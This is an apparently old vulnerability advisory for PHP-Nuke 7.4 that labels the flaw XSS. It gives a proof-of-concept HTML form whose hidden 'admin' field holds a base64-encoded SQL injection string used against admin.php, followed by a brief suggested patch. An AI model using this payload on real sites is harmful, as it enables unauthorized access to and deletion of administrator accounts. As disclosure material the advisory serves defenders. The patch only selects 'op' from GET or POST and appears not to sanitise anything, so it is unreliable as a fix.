[XSS] PHP-Nuke 7.4 ViewAdmin Bug

[Pierquinto Manco <mantra@xxxxxx>]

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*                       CODEBUG Labs
* Advisory #3
* Title: ViewAdmin Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
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                      View Admin Bug
 
- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to view Admin account aid 
and to use this information to delete account using Delete Admin Bug 
(CODEBUG #2).
This bug is very old too but we can bypass the patch sending data 
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="form1" method="POST" 
action="http://www.sitewithphpnuke.com/admin.php";>
    <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
    <br>
    <input type="hidden" name="add_radminsuper" value="1">
    <br>
    <input type="hidden" name="op" value="mod_authors">
      <input type="submit" name="Submit" value="Display">
    <br>
  </p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {
        $op = $HTTP_GET_VARS['op'];
}

if ( !empty($HTTP_POST_VARS['op']) ) {
        $op = $HTTP_POST_VARS['op'];
}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[op] and $_GET[op].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

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                http://www.mantralab.org
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